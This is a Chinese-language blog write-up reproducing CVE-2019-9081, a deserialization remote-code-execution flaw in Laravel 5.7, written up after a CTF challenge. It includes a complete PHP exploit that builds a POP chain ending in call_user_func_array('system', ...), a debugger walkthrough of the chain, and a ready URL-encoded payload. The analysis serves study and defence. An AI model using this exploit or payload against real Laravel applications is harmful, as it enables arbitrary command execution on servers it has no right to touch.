Laravel入坑之CVE-2019-9081复现分析

背景

最近在学习 Laravel 框架的代码审计，恰好通过qwb线下的一道web了解到CVE-2019-9081，便详细地结合exp并利用断点跟踪对漏洞进行了复现分析，从中也学到了不少 PHP 开发以及Laravel框架的知识，记录一下，希望对想入坑Laravel代码审计的师傅们有所帮助，如果哪里表述有误，请师傅们指出~

1.分析准备

1.1漏洞描述

Laravel Framework是Taylor Otwell软件开发者开发的一款基于PHP的Web应用程序开发框架。Illuminate是其中的一个组件。Laravel Framework 5.7.x版本中的Illuminate组件存在反序列化漏洞，远程攻击者可利用该漏洞执行代码

1.2环境搭建

因为Laravel要求PHP的版本 >= 7.1.3，ubuntu16.04默认php7.0版本，因此环境中使用的php版本为7.2，切换php版本命令如下

# 禁用 Apache 中的 PHP7.0
sudo a2dismod php7.0
# 启用 PHP7.2
sudo a2enmod php7.2
# 重启 Apache
sudo systemctl restart apache2.service

之后看到下图即说明搭建成功

1.3漏洞文件描述

漏洞出现在PendingCommand.php文件中，了解一个API用法的最快方式当然是查官方文档的函数说明去了解啦( Laravel5.7API函数说明 )

其中存在反序列化方法__destruct()，并且在其中调用了run函数来执行命令，那么思路就为通过反序列化该类的实例对象来调用run方法执行命令达到rce的效果

因为要结合exp进行分析，因此先贴出exp

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        protected $command;
        protected $parameters;
        protected $app;
        public $test;
        public function __construct($command, $parameters,$class,$app){
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test=$class;
            $this->app=$app;
        }
    }
}
namespace Illuminate\Auth{
    class GenericUser{
        protected $attributes;
        public function __construct(array $attributes){
            $this->attributes = $attributes;
        }
    }
}
namespace Illuminate\Foundation{
    class Application{
        protected $hasBeenBootstrapped = false;
        protected $bindings;
        public function __construct($bind){
            $this->bindings=$bind;
        }
    }
}
namespace{
    $genericuser = new Illuminate\Auth\GenericUser(
        array(
            "expectedOutput"=>array("0"=>"1"),
            "expectedQuestions"=>array("0"=>"1")
             )
    );
    $application = new Illuminate\Foundation\Application(
        array(
            "Illuminate\Contracts\Console\Kernel"=>
                array(
                    "concrete"=>"Illuminate\Foundation\Application"
                     )
             )
    );
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
        "system",array('id'),
        $genericuser,
        $application
    );
    echo urlencode(serialize($pendingcommand));
}
?>

其中在PendingCommand的构造方法中要传入的关键四个变量如下所示，也是exp构造的关键，其中$command和$parameters也就是我们要执行的命令和参数

2.断点跟踪分析

因为该漏洞存在与Laravel组件中，因此要基于Laravel进行二次开发后可能存在此反序列化漏洞，qwb题目中直接通过$_GET['code']传入的参数进行unserialize()，所以首先在unserialize()处下断点，执行exp生成的payload后将停在此处，此时F7步入unserialize函数进行分析

按道理说现在下一步就是触发__destruct函数，但payload中要使用3个类，对于Laravel这种大型框架而言当然少不了一些处理步骤，在左下方的函数调用栈中发现出现了两处调用，首先调用spl_autoload_call()方法

因为我们在payload中使用的类在Task控制器中并没有加载进来，因此便触发了PHP的自动加载的功能，也就是实现了 lazy loading，以加载类PendingCommand为例进行分析(其它所用到的类加载方式相同)：关于PHP自动加载的相关描述可以参考( PHP 自动加载功能原理解析 )

首先是类AliasLoadder中load方法的调用，其中涉及到使用Laravel框架所带有的Facade功能去尝试加载我们payload中所需要的类，Facade描述如下

在Laravel框架中判断的逻辑主要是有2条

• 用户提供所要加载的类是不是其中包含"Facades",如果是则通过loadFacade()函数进行加载
• 在Illuminate\Support\Facades命名空间中寻找是否含有用户所要加载的类
  如果通过load()方法没有加载成功，则会调用loadclass()函数进行加载，而loadclass()函数中通过调用findfile()函数去尝试通过Laravel中的composer的自动加载功能含有的classmap去尝试寻找要加载的类所对应的类文件位置，此时将会加载vendor目录中所有组件， 并生成namespace + classname的一个 key => value 的 php 数组来对所包含的文件来进行一个匹配
  找到类PendingCommand所对应的文件后，将通过includeFile()函数进行包含，从而完成类PendingCommand的整个加载流程，加载完所需要的类后，将进入__destruct方法，此时hasExecuted属性默认为false，即还没有执行命令，所以此时才能调用run方法
  继续使用F7进入用于执行命令的run()函数进行分析
  在run方法中，首先要调用mockConsoleOutput()方法，该方法主要用于模拟应用程序的控制台输出，此时因为要加载类Mockery和类Arrayinput，所以又要通过spl_autoload_call->load->loadclass加载所需要的类，并且此时又会调用createABufferedOutputMock()函数
  按F7进入createABufferedOutputMock观察一下其内部的实现，其中又调用了Mockery的mock()函数,Mockery是一个简单而灵活的PHP模拟对象框架，在 Laravel 应用程序测试中，我们可能希望「模拟」应用程序的某些功能的行为，从而避免该部分在测试中真正执行。此时继续F7进入mock函数，进入以后直接F8单步执行即可，我们的目的只需要此段代码能够往下执行，在调试的过程中我感觉并不一定要搞清每个变量每个函数的作用，大型框架调用链实在是太长太复杂，并且只要它不出错能往下走就行
  

2.1exp构造关键点1

此时在createABufferedOutputMock()方法中要进入for循环，并且在其中要调用test的expectedOutput属性，然而在可以实例化的类中不存在expectedOutput属性(通过ctrl+shift+F即可进行全局搜索)，只在一些测试类中存在，听马师傅说测试类一般不会去加载，所以构造pop链时一般不用测试类

所以这里要用到php魔术方法中的一个小trick，也是经常在ctf题中可能遇到的，当访问一个类中不存在的属性时会触发 get()方法，通过去触发 get()方法去进一步构造pop链，而在Illuminate\Auth\GenericUser的

get方法中存在以下逻辑

而此时$this->test是Illuminate\Auth\GenericUser的实例化对象，其是我们传入的，那么其是可以控制的，即attributes属性也是我们可以控制的，那当发生$this->test->expectedOutput的调用时，我们只需要让attributes中存在键名为expectedOutput的数组，即数组中有内容就能够通过循环流程进行返回，继续F8单步执行即可跳出createABufferedOutputMock()方法

此时回到mockConsoleOutput()函数中，又进行了一个循环遍历，调用了test对象的的expectedQuestions属性，里面的循环体与createABufferedOutputMock()函数的循环体相同，因此绕过方法也是通过调用

get()方法，设置一个键名为expectedQuestions的数组即可，此时将继续往下走，继续F8单步调试就可以return $mock，从而走出mockConsoleOutput()函数，接下来回到run函数中

2.2exp构造关键点2

此时到了触发rce的关键点， 其中出现了$this->app[Kernel::class]->call方法的调用，其中Kernel::class在这里是一个固定值Illuminate\Contracts\Console\Kernel,并且call的参数为我们所要执行的命令和命令参数($this->command, $this->parameters)，那我们此时需要弄清$this->app[Kernal::class]返回的是哪个类的对象，使用F7步入程序内部进行分析

直到得到以下的getConcrete的调用栈,此时继续F8单步执行到利用payload的语句,此时因为$this为Illuminate\Foundation\Application，bindings属性是Container类的，而这里也是payload中选择Applocation作为app参数值的原因，那么通过反序列化我们可以控制bindings属性，而此时$abstract为固定值，即只需要让$bindings为一个二维数组，其中键$abstract作为数组，其中存在键名为concrete，键值为我们想要实例化的类Application即可

此时继续F8往下走，到了实例化Application类的时刻， 此时要满足isBuildable函数才可以进行build，因此F7步入查看

此时$concrete为Application，而$abstract为kernal，显然不满足，并且||右边$concrete明显不是闭包类的实例化，所以此时不满足Application实例化条件，此时继续F7，此时将会调用make函数，并且此时将$abstract赋值为了Application，并且make函数又调用了resolve函数，即实现了第二次调用isBuildable()函数判断是否可以进行实例化，即此时已经可以成功实例化类Application，即完成了$this->app[Kernel::class]为Application对象的转化

接下来将调用类Application中的call方法，即其父类Container中的call方法

其中第一个分支isCallableWithAtSign()判断回调函数是否为字符串并且其中含有"@",并且$defaultMethod默认为null，显然此时不满足if条件，即进入第二个分支，callBoundMethod()函数的调用

其中第一个分支isCallableWithAtSign()判断回调函数是否为字符串并且其中含有"@“,并且$defaultMethod默认为null，显然此时不满足if条件，即进入第二个分支，callBoundMethod()函数的调用

在callBoundMethod()函数中将调用call_user_func_array()函数来执行最终的命令，首先$callback为"system",参数为静态方法getMethodDependencies()函数的返回值，F7步入看看

在return处可以看到此时调用array_merge函数将$dependencies数组和$parameters数组进行合并，但是$dependencies数组为空，因此对我们要执行命令的参数不产生影响，即在此步返回将执行命令，即完成

call_user_func_array('system',array('id'))

此时run函数中$exitcode值即为命令的执行结果

3.攻击效果

payload：
http://localhost/laravel-5.7/public/index.php/index?code=O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A2%3A%22id%22%3B%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A2%3A%7Bs%3A22%3A%22%00%2A%00hasBeenBootstrapped%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7D

参考

1. https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/

2. https://www.jianshu.com/p/a7838a89f2f9

3. https://learnku.com/docs/laravel/5.7/facades/2251

4. https://learnku.com/articles/12575/deep-analysis-of-the-laravel-service-container

5. https://laravel.com/docs/5.7/structure#the-tests-directory